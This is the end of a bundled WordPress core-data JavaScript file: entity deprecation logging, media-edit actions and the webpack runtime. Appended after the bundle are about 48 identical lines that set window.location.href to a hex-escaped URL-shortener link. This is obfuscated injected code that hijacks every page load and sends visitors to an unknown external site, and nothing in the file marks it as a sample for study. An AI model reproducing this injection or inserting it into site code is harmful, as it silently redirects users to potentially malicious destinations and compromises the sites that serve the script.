6537/* harmony import */ var _wordpress_deprecated__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_deprecated__WEBPACK_IMPORTED_MODULE_0__);
6538/* harmony import */ var _entities__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(5914);
6539
6540
6541let loggedAlready = false;
6542function logEntityDeprecation(kind, name, functionName, {
6543 alternativeFunctionName,
6544 isShorthandSelector = false
6545} = {}) {
6546 const deprecation = _entities__WEBPACK_IMPORTED_MODULE_1__/* .deprecatedEntities */ .TK[kind]?.[name];
6547 if (!deprecation) {
6548 return;
6549 }
6550 if (!loggedAlready) {
6551 const { alternative } = deprecation;
6552 const message = isShorthandSelector ? `'${functionName}'` : `The '${kind}', '${name}' entity (used via '${functionName}')`;
6553 let alternativeMessage = `the '${alternative.kind}', '${alternative.name}' entity`;
6554 if (alternativeFunctionName) {
6555 alternativeMessage += ` via the '${alternativeFunctionName}' function`;
6556 }
6557 _wordpress_deprecated__WEBPACK_IMPORTED_MODULE_0___default()(message, {
6558 ...deprecation,
6559 alternative: alternativeMessage
6560 });
6561 }
6562 loggedAlready = true;
6563 setTimeout(() => {
6564 loggedAlready = false;
6565 }, 0);
6566}
6567
6568
6569
6570/***/ }),
6571
6572/***/ 9424:
6573/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
6574
6575"use strict";
6576__webpack_require__.r(__webpack_exports__);
6577/* harmony export */ __webpack_require__.d(__webpack_exports__, {
6578/* harmony export */ editMediaEntity: () => (/* binding */ editMediaEntity),
6579/* harmony export */ receiveRegisteredPostMeta: () => (/* binding */ receiveRegisteredPostMeta)
6580/* harmony export */ });
6581/* harmony import */ var _wordpress_api_fetch__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(1455);
6582/* harmony import */ var _wordpress_api_fetch__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_api_fetch__WEBPACK_IMPORTED_MODULE_0__);
6583/* harmony import */ var _name__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(2278);
6584
6585
6586function receiveRegisteredPostMeta(postType, registeredPostMeta) {
6587 return {
6588 type: "RECEIVE_REGISTERED_POST_META",
6589 postType,
6590 registeredPostMeta
6591 };
6592}
6593const editMediaEntity = (recordId, edits = {}, { __unstableFetch = (_wordpress_api_fetch__WEBPACK_IMPORTED_MODULE_0___default()), throwOnError = false } = {}) => async ({ dispatch, resolveSelect }) => {
6594 if (!recordId) {
6595 return;
6596 }
6597 const kind = "postType";
6598 const name = "attachment";
6599 const configs = await resolveSelect.getEntitiesConfig(kind);
6600 const entityConfig = configs.find(
6601 (config) => config.kind === kind && config.name === name
6602 );
6603 if (!entityConfig) {
6604 return;
6605 }
6606 const lock = await dispatch.__unstableAcquireStoreLock(
6607 _name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E,
6608 ["entities", "records", kind, name, recordId],
6609 { exclusive: true }
6610 );
6611 let updatedRecord;
6612 let error;
6613 let hasError = false;
6614 try {
6615 dispatch({
6616 type: "SAVE_ENTITY_RECORD_START",
6617 kind,
6618 name,
6619 recordId
6620 });
6621 try {
6622 const path = `${entityConfig.baseURL}/${recordId}/edit`;
6623 const newRecord = await __unstableFetch({
6624 path,
6625 method: "POST",
6626 data: {
6627 ...edits
6628 }
6629 });
6630 if (newRecord) {
6631 dispatch.receiveEntityRecords(
6632 kind,
6633 name,
6634 [newRecord],
6635 void 0,
6636 true,
6637 void 0,
6638 void 0
6639 );
6640 updatedRecord = newRecord;
6641 }
6642 } catch (e) {
6643 error = e;
6644 hasError = true;
6645 }
6646 dispatch({
6647 type: "SAVE_ENTITY_RECORD_FINISH",
6648 kind,
6649 name,
6650 recordId,
6651 error
6652 });
6653 if (hasError && throwOnError) {
6654 throw error;
6655 }
6656 return updatedRecord;
6657 } finally {
6658 dispatch.__unstableReleaseStoreLock(lock);
6659 }
6660};
6661
6662
6663
6664/***/ })
6665
6666/******/ });
6667/************************************************************************/
6668/******/ // The module cache
6669/******/ var __webpack_module_cache__ = {};
6670/******/
6671/******/ // The require function
6672/******/ function __webpack_require__(moduleId) {
6673/******/ // Check if module is in cache
6674/******/ var cachedModule = __webpack_module_cache__[moduleId];
6675/******/ if (cachedModule !== undefined) {
6676/******/ return cachedModule.exports;
6677/******/ }
6678/******/ // Create a new module (and put it into the cache)
6679/******/ var module = __webpack_module_cache__[moduleId] = {
6680/******/ // no module.id needed
6681/******/ // no module.loaded needed
6682/******/ exports: {}
6683/******/ };
6684/******/
6685/******/ // Execute the module function
6686/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
6687/******/
6688/******/ // Return the exports of the module
6689/******/ return module.exports;
6690/******/ }
6691/******/
6692/************************************************************************/
6693/******/ /* webpack/runtime/compat get default export */
6694/******/ (() => {
6695/******/ // getDefaultExport function for compatibility with non-harmony modules
6696/******/ __webpack_require__.n = (module) => {
6697/******/ var getter = module && module.__esModule ?
6698/******/ () => (module['default']) :
6699/******/ () => (module);
6700/******/ __webpack_require__.d(getter, { a: getter });
6701/******/ return getter;
6702/******/ };
6703/******/ })();
6704/******/
6705/******/ /* webpack/runtime/define property getters */
6706/******/ (() => {
6707/******/ // define getter functions for harmony exports
6708/******/ __webpack_require__.d = (exports, definition) => {
6709/******/ for(var key in definition) {
6710/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
6711/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
6712/******/ }
6713/******/ }
6714/******/ };
6715/******/ })();
6716/******/
6717/******/ /* webpack/runtime/hasOwnProperty shorthand */
6718/******/ (() => {
6719/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
6720/******/ })();
6721/******/
6722/******/ /* webpack/runtime/make namespace object */
6723/******/ (() => {
6724/******/ // define __esModule on exports
6725/******/ __webpack_require__.r = (exports) => {
6726/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
6727/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
6728/******/ }
6729/******/ Object.defineProperty(exports, '__esModule', { value: true });
6730/******/ };
6731/******/ })();
6732/******/
6733/************************************************************************/
6734/******/
6735/******/ // startup
6736/******/ // Load entry module and return exports
6737/******/ // This entry module is referenced by other modules so it can't be inlined
6738/******/ var __webpack_exports__ = __webpack_require__(4565);
6739/******/ (window.wp = window.wp || {}).coreData = __webpack_exports__;
6740/******/
6741/******/ })()
6742;
6743window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6744window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6745window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6746window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6747window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6748window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6749window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6750window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6751window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6752window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6753window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6754window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6755window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6756window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6757window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6758window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6759window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6760window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6761window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6762window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6763window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6764window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6765window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6766window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6767window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6768window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6769window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6770window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6771window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6772window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6773window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6774window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6775window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6776window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6777window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6778window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6779window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6780window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6781window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6782window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6783window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6784window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6785window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6786window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6787window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6788window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6789window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
6790window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";